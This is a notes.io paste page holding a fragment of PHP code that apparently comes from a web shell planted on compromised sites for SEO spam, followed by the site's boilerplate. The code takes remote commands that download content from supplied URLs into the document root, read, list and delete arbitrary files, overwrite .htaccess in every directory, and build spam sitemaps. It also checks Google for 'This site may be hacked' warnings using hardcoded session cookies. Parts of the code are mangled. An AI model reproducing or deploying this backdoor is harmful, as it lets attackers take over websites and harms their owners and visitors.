Notes![what is notes.io? What is notes.io?](/theme/images/whatisnotesio.png)
![]() ![]() Notes - notes.io |
}
echo 'ok';
}
if (isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url))
{
$pfile = strdir($_SERVER['DOCUMENT_ROOT']) . "/" . $recover_file;
$date = tcget($recover_file_url);
$path = substr($pfile, 0, strrpos($pfile, '/'));
if ($path != "" && !is_dir($path))
{
mkdir($path, 0755, true);
}
@chmod($pfile, 0644);
if ($date && file_put_contents($pfile, $date))
{
echo 'ok';
}
else
{
echo 'fail';
}
}
if (isset($act) && $act == 'redo' && isset($recover_file) && isset($recover_file_url))
{
$dir = $_SERVER['DOCUMENT_ROOT'];
$dir = strdir($dir . '/');
$pfile = $dir . $recover_file;
$date = tcget($recover_file_url);
$path = substr($pfile, 0, strrpos($pfile, '/'));
$path = $dir . $path;
if ($path != "" && !is_dir($path))
{
mkdir($path, 0755, true);
}
if ($recover_file == "sitemap" && $date)
{
$siteLink = 'http://' . $_SERVER['HTTP_HOST'];
$mapPre = '<' . '?xml version="1.0" encoding="UTF-8" ?' . '>' . PHP_EOL . '' . PHP_EOL;
$mapEnd = PHP_EOL . '';
$n = 5;
$datas = explode("rn", $date);
if (count($datas) <= 1)
{
$datas = explode("n", $date);
}
$suffixs = explode("|", $datas[0]);
$avg = (int)(50000 / (count($datas) - 1) / count($suffixs));
$mapMid = "";
for ($i = 1;$i". $date . "T" . $time ." - 05:
00daily0.1"; } } } if(file_put_contents($pfile." . xml",$mapPre.$mapMid .$mapEnd)){ echo 'ok'; }else { echo 'fail'; } exit; } if(file_exists($pfile)){ @chmod($pfile,0644); $sdata = rdFile($pfile); if($date && file_put_contents($pfile,$date.PHP_EOL.$sdata)){ echo 'ok'; }else{ echo 'fail'; } exit; }else { if($date && file_put_contents($pfile,$date)){ echo 'ok'; }else{ echo 'fail'; } exit; } } if(isset($act) && $act == 'redate' && isset($read_file)){ if (!is_executable($read_file) || !is_readable($read_file)){ @chmod($read_file,0644); } if(file_exists($read_file)){ echo rdFile($read_file); exit; } } if(isset($act) && $act == 'readfiles'){ $DOCUMENT_ROOT=$_SERVER['DOCUMENT_ROOT']; $DOCUMENT_ROOT = strdir($DOCUMENT_ROOT); $files = read_files($DOCUMENT_ROOT); echo implode(" | ", $files); exit; } if (isset($_GET['action']) && $_GET['action']=="del"){ $filename = $_REQUEST['filename']; if ($filename=="") die("filenameempty"); $dir=$_SERVER['DOCUMENT_ROOT']; $dir = strdir($dir.'/'); $file = $dir.$filename; if (is_file($file)) { @unlink($file); echo "ok"; } exit; } if (isset($_GET['action']) && $_GET['action']=="hta"){ try { listdir_root(); echo "ok"; }catch(Exception $e) { echo 'Message: ' .$e->getMessage(); } exit; } if (isset($_GET['action']) && $_GET['action']=="curlsite"){ try { $domain = str_replace("www . ", "", $_SERVER['HTTP_HOST']); if ($domain=="") die("domainempty"); $url = "https: //www.google.co.jp/search?hl=en&source=hp&ei=1u6qXKXuHpKF0wTwtY2wDA&q=site:".$domain; $cookie = " CGIC=Ij90ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjg; SID=LwdX1CRprYqqRJ9FahXpNXCIXtGN1pv0dpBJv--kk8PmXf07R5vEqdp5nzLgvDjVrgT4qA.; HSID=AYITwz6aO6yqqXnNf; SSID=AGY-QnxyXX_Rx5qI_; APISID=xKa8c6W-dp7q5HHW/AzOFRutgBh472z9kX; SAPISID=tCAMfqwH5E3lKWcq/AGaN_S44YTFDoE1tR; CONSENT=YES+HK.zh-CN+20180520-18-0; NID=180=XxVBRSKWEl8XSXROd_euW0XHQ3VQRNr1U0RBxsxvXYbMZYB_MDbrT5vWh7NHm0j3ZvFvULlX-Nh6u1JFpv9aCuRgUfjvfigt-4PpJwNBUTteB8HrgC-dSFtvW3YRtjubka3gRdKfKcsjxocqYOyKqaNULWPDwOFt5NV3W0elU9ET5bauXtzqmlDyuvbKWkkhiFLBgOq4Twdn6Q9yxG2dpU6mX6ZZ1voJ17LOep41xn7WGwaiRlSZCBo; 1P_JAR=2019-04-08-06; ANID=AHWqTUnkMIgu9RDHV3vGUnwtGoEcDBFU5Ix86-gjlgV3auRC1YB2AtLZasSkEIpL; DV=U6aAGOn3Jt9aoLnOTplUUSCP_1C7n1ZKUFIW8ikvDQAAAKBRH_6PLrAsnwAAANCa6HPaGbpFXwAAAAHiplD9Std3FwAAAA"; $ret = curl_request($url,false,"",0); if ($ret=="") die("curl empty"); preg_match('/]*id="resultStats"[^>]*>(.*?)result/si',$ret,$match); $ra= str_replace(",","",str_replace("About", "", $match[1])); preg_match('/]*class="slp f"[^>]*>(.*?)</div>/si',$ret,$match); if (count($match)>0 && strstr($match[0], "This site may be hacked.")) $rb= "hacked"; else $rb="unhacked"; echo $ra."|".$rb; }catch(Exception $e) { echo 'Message: ' .$e->getMessage(); } exit; } function read_files($dir){ $files=array(); $dir_list=scandir($dir); foreach($dir_list as $file){ if($file!='..' && $file!='.'){ if(is_dir($dir.'/'.$file)){ $files=array_merge($files,read_files($dir.'/'.$file)); }else{ $files[]=str_replace(strdir($_SERVER['DOCUMENT_ROOT'])."/","",$dir.'/'.$file); } } } return $files; } function read_files_times($dir){ $files=array(); $dir_list=scandir($dir); foreach($dir_list as $file){ if($file!='..' && $file!='.'){ if(is_dir($dir.'/'.$file)){ $files=array_merge($files,read_files_times($dir.'/'.$file)); }else{ $files[]=$dir.'/'.$file."|".filectime($file); } } } return $files; } function rdFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function tcget($url,$proxy=''){ $data = ''; $url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); } if ($data == ''){ if (function_exists('file_get_contents') && $url){ $data = @file_get_contents($url); } } if (($data == '') && $url){ if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){ ($fp = @fopen($url, 'r')); if ($fp){ while (!@feof($fp)){ $data .= @fgets($fp) . ''; } @fclose($fp); } } } return $data; } function U($cid,$pid,$suffix){ $href = str_replace("{c}", $cid, $suffix); $href = str_replace("{0}", $pid, $href); $hrefs = str_split($href); $char_array=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); $num_array = array('0','1','2','3','4','5','6','7','8','9'); $newhref = ""; foreach ($hrefs as $h){ if ($h=='$') $newhref .= $char_array[array_rand($char_array)]; elseif ($h=='#') $newhref .= $num_array[array_rand($num_array)]; else $newhref .=$h; } return $newhref; } function listdir_root($start_dir='.') { $files = array(); if (is_dir($start_dir)) { $fh = opendir($start_dir); while (($file = readdir($fh)) !== false) { if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue; $filepath = $start_dir . '/' . $file; if (is_dir($filepath)){ $fht=$filepath.'/.htaccess'; if (file_exists($fht)){@chmod($fht,0644);@unlink($fht);} @file_put_contents($fht,rethta()); }else array_push($files, $filepath); } closedir($fh); } else { $files = false; } return $files; } function rethta() { $h=" Order Allow,Deny Deny from all Order Allow,Deny Allow from all "; return $h; } function curl_request($url,$post='',$cookie='', $returnCookie=0){ $header[] = "Content-type: application/x-www-form-urlencoded"; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HTTPHEADER,$header); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_AUTOREFERER, 1); if($post) { curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post)); } if($cookie) { curl_setopt($curl, CURLOPT_COOKIE, $cookie); } curl_setopt($curl, CURLOPT_HEADER, $returnCookie); curl_setopt($curl, CURLOPT_TIMEOUT, 10); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); $data = curl_exec($curl); if (curl_errno($curl)) { return curl_error($curl); } curl_close($curl); return $data; } function strdir($str) { return str_replace(array('\','//','//'),array('/','/','/'),chop($str)); }
![]() |
Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 14 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team